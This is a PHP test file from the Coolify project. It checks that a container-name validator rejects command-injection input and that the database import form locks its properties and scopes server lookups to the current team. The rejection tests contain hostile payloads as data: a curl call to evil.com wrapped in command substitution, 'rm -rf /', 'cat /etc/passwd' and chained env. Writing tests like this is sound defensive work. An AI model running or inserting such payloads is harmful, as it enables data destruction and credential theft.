Files
coolify/tests/Feature/DatabaseImportCommandInjectionTest.php
T
Andras Bacsai c5fbf78bd8 fix(database): quote S3 restore temp paths
Escape generated restore file paths before composing docker and shell cleanup commands so paths with spaces or metacharacters cannot break command execution. Update import form security coverage to target ImportForm directly.
2026-05-29 12:27:33 +02:00

127 lines
5.3 KiB
PHP

<?php
use App\Livewire\Project\Database\ImportForm;
use App\Support\ValidationPatterns;
use Livewire\Attributes\Locked;
describe('container name validation', function () {
test('isValidContainerName accepts valid container names', function () {
expect(ValidationPatterns::isValidContainerName('my-container'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
});
test('isValidContainerName rejects command injection payloads', function () {
// Command substitution
expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
// Backtick injection
expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
// Semicolon chaining
expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
// Pipe injection
expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
// Ampersand chaining
expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
// Spaces (not valid in Docker container names)
expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
// Newlines
expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
// Must start with alphanumeric
expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
});
});
describe('locked properties', function () {
test('container property has Locked attribute', function () {
$property = new ReflectionProperty(ImportForm::class, 'container');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('serverId property has Locked attribute', function () {
$property = new ReflectionProperty(ImportForm::class, 'serverId');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceId property has Locked attribute', function () {
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceType property has Locked attribute', function () {
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceUuid property has Locked attribute', function () {
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceDbType property has Locked attribute', function () {
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
});
describe('server method uses team scoping', function () {
test('server computed property calls ownedByCurrentTeam', function () {
$method = new ReflectionMethod(ImportForm::class, 'server');
// Extract the server method body
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
$methodBody = implode('', $lines);
expect($methodBody)->toContain('ownedByCurrentTeam');
expect($methodBody)->not->toContain('Server::find($this->serverId)');
});
});
describe('ImportForm component uses shared ValidationPatterns', function () {
test('runImport references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(ImportForm::class, 'runImport');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
$methodBody = implode('', $lines);
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
});
test('restoreFromS3 references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
$methodBody = implode('', $lines);
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
});
});